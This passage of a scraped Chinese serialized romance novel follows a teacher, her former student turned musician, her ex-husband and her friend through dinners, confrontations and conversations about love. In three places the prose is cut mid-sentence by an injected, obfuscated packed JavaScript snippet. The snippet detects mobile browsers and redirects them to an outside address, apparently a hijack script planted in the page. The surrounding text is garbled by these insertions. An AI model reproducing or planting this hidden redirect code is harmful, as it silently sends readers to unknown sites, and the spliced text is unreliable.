“我也在学着说服自己,”李知难道,“心有一套想法,现实有另一套,目前我还夹在中间,不知道怎么调和呢。” “那这个王总的事……”曲子格想探探她的话风。 “知道了,我打电话。”她看着曲子格期待又不敢说的表情,还是选择了去叨扰李北辰。 李北辰好一会儿才接起电话。 “喂。”他声音轻轻的,像是低语。 “是我,我可能需要你帮我个忙。”她小心道。 “好,你说。”他回答得简短而干脆。 “我想约一下那天体培中心的王总,和曲子格一起吃顿饭,最好是今天,我也知道有些突然,要是今天不行也没事,反正越快越好。”李知难道。 “好。”他只回了一声。 李知难突然觉得他的简洁让自己有点无措,立刻想要补充些客套话:“会不会麻烦……” “我现在不太方便,一会儿我把时间地点发给你。”接着“滴滴”两声,他那边挂掉了电话。 曲子格:“怎么说?” “说一会儿把时间地点发给我。”李知难懵懵道。 “那就是行了啊!”曲子格抱住她,开心道:“谢谢知难,也替我谢谢小李同学。” “呃,嗯。”李知难应道。 “怎么了?有什么不对劲?”曲子格松开了她。 李知难想了想,坦白道:“我觉得他可能有什么事。” “为什么?他说什么了?” “他说好,好。”李知难重复着他那两声好,道,“可我感觉不对劲。” 曲子格看着她,上下打量:“你什么时候还这么敏感了?” “嗯?” “宋乐轨都出到你跟前儿了,你也没有过感觉,这李北辰就两声好,你就感觉不对劲了??”曲子格意外道。 李知难别开脸去不敢回应,心里悄悄丝丝泛起了阴霾。 李北辰的效率很快,当天下午她就收到了消息,定了晚上七点的餐厅。曲子格准备了两大页纸的问题,和李知难一起来到了定好的包间。 王总也到了,热络地和她们打招呼,说李北辰当下有事,稍后会加入她们,然后叫服务员点了菜。 都是体育领域的,王总之前是退役运动员出身,和曲子格恰好背景相似。他也对曲子格的性格很是欣赏,席间根据各种问题,讲方法谈经验,曲子格本就是自来熟,一顿饭的功夫,王总成了王哥,两个人关于各种体育相关的问题有来有往互相切磋。 李北辰在七点半左右时匆匆赶到,来了就径直坐在她身侧,和王总曲子格简单打了个招呼。两个人因为李北辰的出现打断了先前的话题,但没几分钟就又再次聊得火热朝天,显得他二人在旁的陪伴并不十分必要。 李知难看他一直用余光扫着表,小声道:“你不用一直陪着的。” “嗯?”李北辰看向她。 “我知道你忙,有事你可以先走。”她眼睛瞥了下门口的方向,示意他离开。 李北辰摇了摇头:“吃个饭的时间还是有的。” “很严重吗?”她没头没脑地问。 李北辰轻轻拍了拍她的手:“没事的。” 她低声念叨道:“那就是严重了。” 李北辰给她使了个眼神,叫她出去,二人一前一后离开包厢,相谈甚欢的曲子格和王总全然没有发觉。 走廊上,李北辰将她拉到了角落处。 “出什么事了?”李知难问。 “上次网暴的影响,可能会导致专辑正式发行的时间延后,但是文诗不想延后,她憋着一口气想冲一冲今年的奖,要是延后了,可能对颁奖季的结果有影响。”李北辰缓缓道,“我们在研究要不要把专辑改成EP,总归是一些商业方面的决定,以前在可能音乐这些事情我不用参与,现在行政方面的内容比较多,所以才有些忙。但都不是什么大事,可以解决的。” “我也没什么能帮上你的,”李知难道,“但是我相信你可以做得很好。” “这句话就很能帮到我。”他看着她轻笑,“我们在两个截然不同的领域,你现在不是我的老师,不需要对我有这种的责任感。” 李知难回道:“我也不是因为做过你的老师,才要对你有责任感。我之前说过,你跟我是现代教育体系下的师生,你毕业之后就跟我没关系了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649464|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李北辰笑道:“那你这么紧张干什么?” 李知难局促道:“你,不是你,你自己说要做朋友的么?” 他表情有些故意:“我说要做朋友吗?”他故意重咬了“朋友”那两个字的音。 “李北辰!”她下意识地拍了下他的胳膊。 “哦,”他像是被迫妥协的受气包一样应道,然后又满是促狭地回:“朋友,朋友。” 两个人看着对方,没来由地笑了。也许是有一段时间没有见面了,开始生出了一些莫名的疏离感,又因为这三两句话快速地溶解了。她看着眼前的李北辰,突然觉得自己以前有些装,顾及着一些完全没必要的东西,其实拨开之后,也不过是些俗套的心理累赘。 我应该还是很勇敢的。她在心里想着。就像是曾经年少时的她,谁都拦不住她的脚步。 “最近还好吗?”李北辰缓声问。 “嗯,还没开学,所以还不忙。”李知难回答。 “我很想你。”他诚恳而热烈地说,像是怕她再嗔怪自己,又赶紧补充:“作为你的朋友。” 李知难笑了笑,回道:“我也是,我的朋友。” 李北辰笑得愈发灿烂了。 这几日他着实是忙碌的,疲于应付各方面的压力,各种大小事物,这些还不算,文诗的经纪人想了新的主意,因为之前他们合体参加的那期综艺节目效果不错,便想用这个方法再次帮文诗走出困局。 他心里是抵触的。 上一次参加综艺节目,其实卡在了一个很巧的时间点。文诗一直以为是因为她不愿意去被压榨,所以一向不喜抛头露面的李北辰放弃原则去陪她。而事实是,李北辰的父亲在那段时间去世了。葬礼上,他听到了亲戚谈论父亲在世时,对自己不务正业的失望,继而演变成谈论中对于自己和父亲的贬低,以凸显他们的优越,顿时心里起了好胜心。 不就是名声么,他如果想要,也可以轻松到手。 节目播出后,他收到了很好的反馈,甚至有提案要他走向幕前,也成为光鲜圈子中的一员。他短暂地体会到了作为“名人”的特权及优待,但也很快体验了失去自由的滋味。 心情平息后,他认真地剖析了自己喜欢的究竟是什么。最后他还是认为,他想要的是能够和这个世界对话的心,能够记录心情的音乐,能够撑过时间的作品,而角逐名利场一定会让这件事打折扣。 利弊相衡,他选择了自己的本心。 可现在他不得不重新权衡利弊了。人活在世,总要为五斗米折腰,没人能够随心所欲地选择,他自然也不行。 看着眼前的李知难,他又觉得这些放弃都无所谓了。 本心这个东西,与他而言,从十几岁时就一直恒定在了一个地方。那个锚点原本是自己的奢望,所以他绕着那个锚点一圈一圈地兜兜转转,人生变成一场漫长永恒的星际漂流。可现在不一样了,她在眼前,所有的理论基础就全都变了,她不再是不可及,纵使遥远,却不再是不可及了。所以,他只需要一个方向,只消一个方向,他便会向着他的锚点,将所有之前周而复始的旋转变成一次又一次义无反顾的奔赴。 这一刻,他想去拉她的手,他觉得只这一件事就能够抵消之前十几天的烦闷。 然而,就在此时,走廊对面突然传来熟悉的男人声音,对着他意外道:“北辰?” 来人是宋乐。 54. 巧合还是刻意 而待宋乐走近,才发现对面的女人他更熟悉,他看着面前的两个人,茫然问道:“你们俩怎么在这儿?” 李知难的神色立刻多了分不自在,带着晚来且不合时宜的危机意识,她向后退了半步。 李北辰方才伸过的手,随着她身体的移动,捞了个空。他低头看着自己空荡荡的手,眼底的那抹不悦很快被强行压制下去了。 李知难尴尬地看向宋乐,装作不知般问道:“你们认识?” 李北辰体面地和他握手,打问候道:“宋哥,这么巧啊。” “你怎么认识我媳……”宋乐握住了他的手,突然感觉李北辰手上的力道重了些,又反应过来自己用词不当,便道:“你们怎么认识的呢?” 李知难在旁先出声回答:“他是我以前的学生。” “那这世界还挺小的。”宋乐感叹,“可是你们俩在这儿干嘛呢?” 李知难指了指包间,道:“托他帮我办点事情,在宴请相关的负责人。” 宋乐狐疑:“你一个高中英语老师,有什么需要他帮你办的事情?” 李北辰原本礼貌的脸上再次闪过一丝不悦,且有些压制不住,但他语气仍旧周正客气道:“宋哥是觉得我没这个能力?” “我当然不是说你的能力!”宋乐是个周全的人,李北辰的话让他立刻自然地转换成平时社交的圆滑态度,“你的能力我当然知道了,上次刘律师还多亏了你帮忙,省了大事了。后续的事你放心,我这边有数儿。” 李北辰回:“我和李老师曲老师都是朋友,曲老师最近在研究创业,所以我帮她们联系了相关行业的朋友。宋哥和李老师是?” 他就这样若无其事地问了出来。 李知难在旁看他演戏。他一个能清楚记得自己结婚日期的人,怎么可能不知道自己嫁给了谁,眼下倒是演得像。 “哦,”宋乐有些尴尬,缓缓道:“她,我,我们是……” “前妻。”李知难替他尴尬,帮他说了。 “对。”宋乐点头,赶紧岔开话题道:“欸,怎么你跟高中老师现在都还一直有走动?” “别的没有,”李北辰道,“和李老师走得多一些。” 宋乐转头看向李知难,李知难尴尬回道:“他,是我们之前学校音乐剧的负责人。” “只是负责人吗?”李北辰故意道,见李知难表情愈发僵硬,才补充:“我现在还是皮皮的钢琴老师,宋哥不知道吗?” 宋乐满脸震惊:“真的假的?这……这,你还接小孩培训啊?我,没听过啊。” 他一时不知道怎么接话。他和李北辰因为可能音乐有业务来往。在宋乐心里,李北辰脾气好,能力强,性格佳,外貌优,虽然这种从小生活在精英圈里的孩子和自己不是一个池子里泡着的,但是宋乐很喜欢他,他有他的高山流水,却也能融入自己的大众通俗,和那些眼高于顶的年轻人截然不同。但是他一直对李北辰的定位都是精英阶层,没想到竟然在……教钢琴? 李知难不想再多谈,只回道:“皮皮的哪个老师你知道?我们里面还有事,先进去了。” 李北辰被她用眼神使唤着回到了包厢,里面二人还在争论中国足球的复兴之路,全然不在意他二人这一走一回,李知难没再开口。 刚刚,她心里的那一套和现实的那一套不顾她计划地提前撞到了一起,搅得她有些混乱。 李北辰坐在旁边,余光不住地扫向她,但这回她并没有望回来。 李北辰的心瞬间沉了下去。 小的时候,爸爸带他去天文馆,天文馆的工作人员介绍太阳系,告诉他所有的恒星都是围绕着太阳转的,而月球作为地球的卫星,会围着地球公转。 “为什么月球不会围着太阳转?” “因为它距离地球更近,所以被地球捕获了。” “它会一直围着地球转吗?” “不会,它会越转越远,有一天地球的引力不足以维持它的转动时,它就会脱离公转轨道。” “它会去哪?” “不知道,可能会变成一颗陨石,可能会被其他的星球捕获,但你不用担心,那是很久很久以后的事情了。” 李北辰突然从桌子下拉过了她的手,拿出了口袋里随身带的签字笔。 她不解,余光又警惕地扫过那边聊天的二人,见那边没有任何察觉,才松了一口气。 李北辰不肯放手,硬拉着她,在她的手背上画了一个圆圈,在旁边又画了弯新月。 “什么意思?”她小声问。 “你知道,有一天月球会脱离地球吗?”他没头没脑地问她,惹得她皱眉不解。他又补充道,“有一天,地球会放弃月球。” 李知难虽不知他这话从何而起,可也听出这理论多少有点不讲理的胡诌了。分明是月球的转动导致它逐渐远离地球,怎么他莫名其妙就说地球要放弃月球呢? “我要是月球的话,如果地球放弃我,拼尽最后一丝力气,我也要奔向它。”他继续说道。 李知难愣了一下,那叫什么奔赴?那分明叫同归于尽吧。 可她没有说出来,而是接过了笔,在他的手腕处画了一个星星。她轻笑道:“幸好你不是月球,也不是地球,你是,夜晚负责为旅人指路的北辰星。” 几日后,宋乐来接皮皮,无意间又提起了李北辰。他讶异于这个世界是如此之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649465|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,竟会以这样的方式重叠社交圈。李知难没有接话,他自己一个人在旁自说自话的激动显得有点没劲。 “我就是挺意外的,”他总结道,“说起来,我能和小柳在一起,还多亏了他呢,没想到竟然是你以前的学生。” 宋乐说完自己也有些惊讶,竟会在这种时刻下意识提起了小柳。通常他是不敢在李知难面前说这个名字的,那会让他不自觉地处于道德低谷。可他方才看李知难对他的话充耳不闻,心里忽然起了些好胜心,下意识就想用这个名字刺激她的反应。 果然,李知难僵在了原地。半晌才回问道:“你说什么?” 宋乐心底有些得意,故意回:“我不是故意在你面前提她的……” “不是这个,”李知难打断了他,“你说多亏他什么?” 宋乐回道:“我当初虽然知道小柳对我可能有想法,但我还是挺避讳这些的,平时跟她一直保持距离。是在可能音乐的几个项目上,北辰觉得她能力不错,就让她帮忙负责一些跑腿的活。之后有活动也都会照顾她,包括唱歌吃饭什么的,也都记得叫她一起去。这么一来二去,我和小柳的接触也就多了。然后……” 他想先观察她的反应,再决定说不说。 李知难平静地听着前夫给自己讲述他和情人的浪漫史。宋乐亦有些意外,方才她看起来很吃惊的样子,怎么这会儿倒没什么反应了。 宋乐自觉无趣,收尾道:“反正那时候很多人都不清楚我结没结婚吧,毕竟你跟我连个戒指也没有。” 李知难脑海中想起了那天碰到宋乐出轨的KTV。已经定好的KTV,是李北辰突然换了地儿,究竟他这么做是因为他有那里的卡,还是那里有他想让自己看到的人?还有那天他留自己在咖啡厅不肯走,又是因为他害怕自己撞到宋乐,还是害怕自己撞不到宋乐? 她心里突然不确定起来。 他说,他等得起,他说,他很擅长坚持。所以这一切究竟只是巧合,还是他在所谓的等待中,额外附赠的刻意安排? 李知难的头又疼了起来。她皱着眉挺了挺,另一边宋乐也没看出情绪,此时皮皮已经收拾完毕,她挤出笑脸和儿子告别,然后瘫坐在沙发上,半天才缓过劲儿。 疼痛让她打消了方才离谱的念头。李北辰是什么样的人,她从小看到大的,若是他真有这种心机,那还真是天选的演员了,直接进剧组都不用培训的。 他不是演员,他是做音乐的人,他的心底如孩子般纯净赤诚。思及此,李知难脑海中突然响起了一段旋律。 是那段悲伤的Demo630。 能够写出这样曲子的人,又怎么可能会做那样阴暗的事? 55. 我跟他不可能的 曲子格和吴思齐的婚礼作罢,但是两人之间并没有完全整理干净。真正说分手是在情人节那天,冬天的咖啡厅里,他们平静地把事情摆到台面上。没有人争取,没有人辩解,也没有人责怪,曲子格像是处理离职一样,处理了自己差点走入婚姻的恋情,退还了彼此留下的关于对方的纪念物品。 “我可能还是需要很多浪漫,”曲子格对李知难道,“太多现实,对我还是不太现实。” 李知难握了握她的手予以安慰。 “我以为我可以为了他改变的,我也真的很努力了,”曲子格脸上有些遗憾,“毕竟除了顾清辛,他是我好过的最帅的,而且全凭我自己本事追上的,最后这样的结果,还挺难过的。” 李知难道:“人不可能为了感情改变的。” “不可能吗?” 李知难想了想,摇头:“改变一阵子很容易,恋情的荷尔蒙会把你变成另外一个人,可激情总会退去,你花了三十多年变成了这样的你,怎么可能因为一个人,一瞬间就变成另一个人呢?” “可是,相处久了,慢慢也会变的吧。”曲子格话中有话。 她心里想的是顾清辛。 他似乎没变,还是原来那个他,自作主张地要她回到自己的生命中,但也自作主张地保留着自己不肯被触动的心。 她觉得有些可笑。她和顾清辛的故事,从来都是自己的一厢情愿和他的自作主张。 她从初中起就暗恋他,可顾清辛周围从来不缺好看的女朋友,她知道自己和他的择偶标准差了一大截,所以也没敢把心事说出来,就大大咧咧地充当他的“好哥们”。直到她二十五岁生日那天,她几乎做好了所有断舍离的准备,打算和其他男人接触一下,可顾清辛像是突然开窍了一样,看到了她。她本来觉得自己要藏一辈子的心事被他拆穿了,他问她是不是喜欢他。 偶像剧里的情节真的照进了现实,世界天旋地转。 但是成为顾清辛的女朋友并不是幸运的事,因为接下来的每一天,她都生活在巨大的不配得感中,她觉得自己配不上顾清辛,一边去讨好他,一边来苛求自己,终于有一天,她发现自己的不安全感原来不是想多了,而是他真的在外面风流不断。 几年间,她说了无数次分手,但只要顾清辛留她,她就会回头。有时候她也能够察觉顾清辛编出的谎话漏洞百出,可如果自己不信这些,就会失去他,而她最不想的事情,就是失去他。她心里想,他还是在乎自己的,要不然为什么那么多漂亮女人可以选,他却还是会选择自己? 他选了自己。这是唯一能用来聊以安慰的理由。 上一次的分手,她是真的下定决心了。这几年的反复拉扯,她累了,精力旺盛如她也没办法在这种翻来覆去的折磨中一次次重蹈覆辙,人生苦短,再蹉跎下去没有尽头,她是真的受够了。 顾清辛当时仍旧用同样的话来哄她。没有发生什么,不是认真的,就是一时失控了,不要离开我。 她第一次狠下心不肯信了。 再后来和吴思齐的交往中,她觉得自己渐渐彻底走出了顾清辛的阴影。直到打学生事件发生,她才反应过来,吴思齐和她,不过是自己捏造出来的一个骗局。他从来都不是自己想要的人,是自己把他所有的特点都曲解成自己喜欢的优点,将他所有平淡普通的话都解读成对自己的深情。他是个本分踏实的人,想要的和李知难之前一样,是条件合适的世俗圆满,自己只是在合适的时间满足了他的条件,她心里一直都清楚这件事,却假装视而不见。 毕竟她最讨厌的就是这种感情,这种她眼睁睁看着自己好友沦陷其中不得自拔的沼泽,现在竟也要自欺欺人地跳下去了。 和他分手,自己是松了口气的。 而再次看到顾清辛,他挺拔的身影站在校门口等她,她就控制不住地想要奔向他。 我是有病吧。她心里瞧不起自己,可是心根本不听她的。 然而顾清辛似乎也变了。这次和之前不同,顾清辛没有和她谈过感情的事,从始至终都是全心全意帮她,对两个人之间的关系缄口不提。顾清辛不一样了,他以前哪怕是编蹩脚的谎言骗她,哪怕在外面一直花天酒地,也必须要她承认自己是他女朋友这个身份,好像他只在乎这一件事,其他的都可以谈。而这次他没再提过,只是心甘情愿地跑前跑后帮她。 这代表他变了,对吧?他会变的,对吧?她看向李知难,想从她那里得到认可。 “习惯会变,可我觉得那些内心深处性格底层的东西,没法变。”李知难答。 曲子格有些灰心,更不愿将这话投射到自己的感情上,她想了想,试图在李知难身上找到答案。 “知难,”她试探道,“你和宋乐,当初到底算是合适还是不合适呢?” “不知道。”她答,“我和他只能算是误打误撞吧?他出现在了一个合适的时候,带着合适的条件,但是所谓的合适也不是一瞬永恒的,在那一刻的合适最后还是变成了现在的不合适。” “后悔吗?”她小心问。 李知难摇头:“我得到了我想要的。车子,房子,孩子。在那个阶段,我需要一个老公陪我演人生圆满的戏码,他陪我演了,现在的我倒不觉得那样的圆满重要了,所以他也谢幕散场了。归根到底是我的内心深处,一直渴望完成这样世俗意义上的圆满,所以才会变成现在这样。但就算再来一次,我应该也会做同样的选择,毕竟,我不相信人能活过命运限制的枷锁,解除思想钢印。” “什么枷锁?什么钢印?” “你信上帝吗?”李知难没头没脑地问。 曲子格摇头。 “为什么不信呢?” “我党员,我信什么上帝!”曲子格答。 李知难被她逗笑,道:“我小时候,每天都被教育,世界上没有神仙,没有上帝,人要靠自己打拼。这就像是地球是圆的,地球围着太阳转一样,我这辈子也没亲眼见到这景象,可我终身都会无比相信这件事。我甚至并没有去研究过科学发现,资料记录,我就是相信这个世界给我的设定,所有人都说,地球是圆的,地球围着太阳转。我想像我这样的人,如果生活在中世纪,也会相信地球是方的,太阳围着地球转。同理,我信世界上没有神仙上帝,我也从心里希望得到世俗意义上的圆满,结婚生子,功成名就。没有理由,我在成长的过程中,这些思想就已经深入我的基准了,成为我存在在这个社会上的衡量,这些就是命运的枷锁,思想钢印。” “没几个人真的能摆脱吧。”曲子格道,“我们都是普通人,没法儿按照圣人的标准要求自己。” 李知难:“所以,你想要浪漫的爱情,我想要实际的圆满,这些都没问题,反正我们逃不过也打不赢自己。” 曲子格道:“你不会因为这样看不起我吗?” “我是谁啊?凭什么看不起你?” “我和顾清辛,你真的没想法?”她终于忍不住说了出来。 “你会因为我的想法改变自己吗?”李知难反问。 “你不是说,人不会变。”她用她的话反驳。 “所以,我还能有什么办法?”她道。 “我知道你不喜欢顾清辛,”曲子格道,“很多时候我也不喜欢他。可我爱他,不受我控制的那种爱他,他在我生命里存在的时间太长了,我一大半的人生都有他的参与,我没办法把他从我人生中踢出去,不管好坏,我知道我做不到。” 李知难听得心里不舒服,她小太阳一样的曲子格,在什么时候都能够无条件发光发热,偏偏遇上了顾清辛这么一个捂不熟的狗,她问道:“就那么爱?” “我高中的时候,听到过一句挺土的话,说喜欢就是浅浅的爱,爱是深深的喜欢,但是活到现在,我觉得对我来说,完全不是这么回事。”她感叹,“喜欢是什么,是能不管不顾被心怂恿着的一种冲动,突然的上头。可爱不是,爱是所有冲动散去之后,一而再再而三的选择。” 李知难道:“比如我和我父母。” “还有我和顾清辛。”她道,“和吴思齐分手很简单,说实话,难过遗憾也不是那么严重,就是喝醉酒第二天的头晕嗓子疼的程度。但是如果彻底和顾清辛断干净,我知道甭管我嘴上多逞能,实际压根做不到。哎,喜欢错人还能及时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649466|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止损,爱错人,很难脱身。” 李知难想着她这话,爱错人,很难脱身。“那爱错怎么办?” “就像是我这样。”曲子格指了指自己,把心里的疑虑说了出来:“顾清辛可能不想和我和好。” 李知难愣住了。 “可是我还是想和他在一起。”她没出息地说道。 “为什么?”李知难看着她自讨苦吃的打算,不知道这个为什么是在问顾清辛为什么,还是曲子格为什么。 “我本来就不聪明,这些事我也想不通。”曲子格回答,“所以现在我就想好好搞好这次创业的事,虽然开始一头热是想要给看不起我的人一点教训,但是我这一通调研下来,觉得自己是真的喜欢的,而且也擅长的。” 李知难犹豫,道:“你如果经济上和他扯在一起,以后会很麻烦……” 她虽然这么说,可心里也清楚现在经济上能够帮她的人,只有顾清辛。 曲子格让她放心,自己会好好打算。 李知难有些心疼地看着她,没再回应。 “别说我了,你呢知难,你和李北辰怎么样了?”曲子格不愿意让气氛变得凝重,故作轻松地换了话题。 李知难愣了愣,道:“我不知道。” “你喜欢他吗?” “喜欢吧。”她对着曲子格,坦白地承认了,“你刚说的不管不顾,冲动上头,都符合我现在的症状。” “那你想和他……短暂快乐?还是天长地久?”李北辰和她的年龄摆在那里,他们的过去更是心照不宣的问题,差距这么大的姐弟恋好像更多是在及时行乐,能够携手一起披荆斩棘的寥寥。 “都不是,”李知难自嘲道,“短暂快乐,我没有那种魄力,天长地久,我又没有那种勇气。” 她不想思考这些。这么久过去,她也不过才做到正视自己的心动,至于未来,她目前完全没有余力去考虑。 “知难,那……你和……老路的伴郎,算是什么?”曲子格问出了积压在心底很久的问题。 李知难首先想到了年轻时候的她和裴方禹,那时候他们算是天作之合,现在,他们之间算是什么? 算是一场俗烂的戏码吧。 他们在大学相识,一切都开始得那么自然。宿舍下羞涩的表白,情人节电影院里的亲吻,快捷酒店里懵懂的初夜,几十块钱廉价的过家家一样的戒指。 对未来不切实际的幻想,对彼此终生不渝的承诺,就像是俗烂爱情电影最开始的那十几分钟的内容一样,青葱的年华里千篇一律却铭心刻骨的爱情,暴雨中的哭泣,寒风中的呐喊,凌晨的争吵,以及和好后恨不能嵌进身体的拥抱。 他轰轰烈烈地在毕业典礼上高喊:“李知难,我爱你。” 他喝得醉醺醺,搂着她一遍又一遍地恳求:“知难,别离开我。” 那些年的回忆,被切割成了这样的片段,和她的青春一起埋葬在记忆深处。 后来,他们离开校园,进入工作。年轻漂亮的女老师进入了相对单纯的高中校园,一腔热血地教书育人。英俊儒雅的实习生在职场起起伏伏,一生因成绩优越而被奉为天之骄子的他总算见识到了金钱和权利的重要性。 “他遇到了一个能在事业上给他提供帮助的女孩。”李知难将这个故事烂俗的结尾如实相告,“然后他选择了她。其实我和他很像,普通家庭,性格要强,从小被周围人夸着长大,所以都自视甚高。只是我进入了学校,没机会去接触社会上还存在着的属于另一个阶级的人,他遇到了。如果我是他,可能我也会想要成为那个阶级的人,只不过我没机会罢了。我和他都想要世俗意义上的成功圆满,我们的人生际遇不同,所以分开了。” “你恨他吗?”曲子格问道。 “不知道。”李知难诚实答,“我怕恨他这件事代表还在乎他,可是我又做不到潇洒地说翻篇儿了。因为那是我人生的第一个跟头,第一次知道求而不得的滋味,第一次意识到我自己的渺小。” “知难,你对他……”曲子格不太敢问下去。 “我跟他不可能的。”李知难果断道,“这辈子都不可能。” 56. 因为你没有选择我 一周繁忙的工作结束后,李知难照旧带皮皮来上钢琴课,只是这次她在一旁总是心不在焉,课间皮皮喊了好几遍要喝水,她仍然没有回应。 李北辰看了看表,道:“休息一会儿,你自己去拿水喝。” 皮皮老实地去书包里拿出水喝。 “知难。”他在她眼前晃了晃手。 李知难回过神,道:“下课了?” 李北辰指了指表:“课间休息。” “呃,好。” “想什么呢?” “工作的事。” “怎么了?” 李知难看了看皮皮,他已经在一边的桌上足球玩了起来,便道:“你记得穆婷婷和秦梓轩吗?” 李北辰点头。 “我看见他们俩在课堂上拉着手。”李知难道。 周五的外教课,向来是按照外教要求把桌椅摆成U字型,学生自己选位置随便坐,李知难在例行后门探头的过程中,看到了这让她精神冲击的一幕。 “高中生谈恋爱不是很正常吗?”李北辰道,“我们那个年代就很常见了。” “谈恋爱常见,可是那是穆婷婷和秦梓轩啊。”李知难感叹,“他们怎么可能在一起?” “为什么不可能?” “秦梓轩之前和我们班另一个女生好,你在医院不是也见过吗??”李知难道,“还是说男人朝三暮四,压根就不分年龄?” “你是在暗示我什么吗?”李北辰对着她温柔地笑。 “李北辰同学,我知道你很天之骄子,”她正色道,“但是也不是全世界都围着你转的,我现在在说我的学生。” 李北辰配合地点点头,答:“我倒是觉得,秦梓轩可能一直喜欢穆婷婷。” “那廖蒙算什么?”李知难反问。 “我不知道,我不能替别人解释,”他道,“但是他对穆婷婷的态度,偏心得还挺明显的。” 李知难摇头:“那是因为穆婷婷爸爸赞助他了,他那算是报恩,不是偏心。” 李北辰看着外面的蓝天白云,道:“可能他也是这么劝自己的,但偏心就是偏心,人的心就是会不受控制地偏向自己心里的人。” “……哦。”她点了点头。 “我倒是好奇,”他道:“你接下来会怎么做?” “什么怎么做?” “他俩早恋这件事。” “你们那个年代,我们是要斩草除根的,他们现在这个年代,我们的政策是只要他们不在我们眼前得瑟,我们就睁一只眼闭一眼。”李知难答。 “看来时代进步了。”李北辰感叹 “只要不影响成绩。”她又补充。 “我说早了,时代也没进步太多。”他道。 李知难笑道:“我都说过了,学生是一种职业,那就要做好本职工作。谈恋爱什么时候不能谈?非得跟高考抢这几年吗?” “也不是所有人都有李老师这么强的自控能力。”他语气中带了些调侃。 “我也没要求他们跟我一样,有个先后顺序就行了。一班也有俩谈恋爱的,天天一块比着劲儿学习,互相督促互相进步,要一起考北大呢,像这种恋爱我们当老师的巴不得他们都去谈。可大部分孩子谈的是那种玩物丧志的,每天就琢磨那点没用的破事儿,上课也不听讲了,作业也不做了,本末倒置。”李知难评论道。 “李老师管人家纯真的爱情,叫没用的破事儿?”李北辰一脸取笑她的表情。 “你喜欢我我喜欢你,今天吵架明天和好,左右就这么点事,有什么用?”李知难反驳。 “知难,”李北辰突然凑近,“高中生的心动不应该这样被歧视的。” 李知难因为他的突然靠近,自己的心也多跳了几拍,放佛冥冥在嘲笑她刚才言语中的轻蔑。 “你当初不是劝过文诗,别因为粉丝多就对他们的喜爱理所当然,”李北辰一副教育她的口吻,“同样,你也不能因为见多了早恋,就把人家的心动当成一文不值的常态。每个人都有决定自己青春如何度过的权利,你是老师,帮他们学习,丰富他们人生,这是正面角色,怎么你却总想去做破坏人家青春的反派人物?” “我怎么破坏……”她才想反驳,又不禁觉得他这话里有话,他在同她争辩的,是那些正在挥霍青春的高中生,还是曾经的他自己?自己不应该轻视的,又是谁的心动?那这个破坏青春的反派人物,究竟是在谁的戏里演出呢? “怎么不说话了?”李北辰看她突然停下,以为自己刚才的话冒犯了她,“我开玩笑的。” 李知难清了清嗓子,回道:“没事。” “对了,宋乐,有和你说过我吗?”他突然开口问。 “你?”李知难眼睛不自然地左右转了转,道:“他干嘛要跟我聊你?” “我是觉得,他应该挺意外的。”李北辰的表情也带着些刻意。 “他挺忙的,没空聊你。”李知难道。 “什么都没说吗?”他仍旧追问。 “……没有。”李知难选择了沉默。 周末是曲子格的生日。最近事业失利正忙着再创辉煌的她选择热热闹闹地邀请诸多亲朋好友共庆这美好的日子,作自己对抗操蛋的生活的高光。 “我太需要一场释放了。”曲子格瘫在李知难家的沙发上,“知难,带李北辰一起来吧?” “别了……”李知难拒绝。 “带吧,人多热闹。”曲子格怂恿道。 “那我考虑考虑。”她心里思虑的颇多,毕竟真的带他出席,其中的暗示就不言而喻了。她并没有心理准备。 所以当KTV包厢的门打开,李知难是一个人走进来的。曲子格在另一边恨铁不成钢地摇头道:“你就怂吧你!” 李知难和大家打了招呼,低声瞟了瞟几名学校的同事,小声道:“大姐,你是离职了,我还在干呢,这场合我带他来,我有病?” 曲子格已经喝了两瓶啤酒,撇嘴道:“怎么,小李同学还拿不出手?别说这场合,就是颁奖晚会,名门盛宴,你带我们小李同学去也只会锦上添花。” “我跟你说的是一回事么!”李知难看着她糊里糊涂的样子,懒得跟她再辩解。 李知难拿了瓶酒,坐到了奚西旁边,她正在低头玩着手机,看她过来立刻把手机扔到了一旁,兴致勃勃道:“知难,我怎么感觉好久没见到你了。” “你要是想我,大课间做□□在操场随时恭候你。”李知难笑道。 “等天暖和点,我一定舍命陪君子。”奚西乖巧地点头。 “信你才有鬼。”李知难笑道。 门再次被打开,孙书维和老路一起进来,客气地和大家打着招呼。她自然地坐到她二人旁边,问道:“聊什么呢?” “路哥好。”奚西礼貌问候。 李知难点了点头算是打过招呼,回道:“我让奚西陪我一块站课间操,她说天暖和她就来。” “也是,今年都四月了,怎么北京还这么冷?”孙书维感叹。 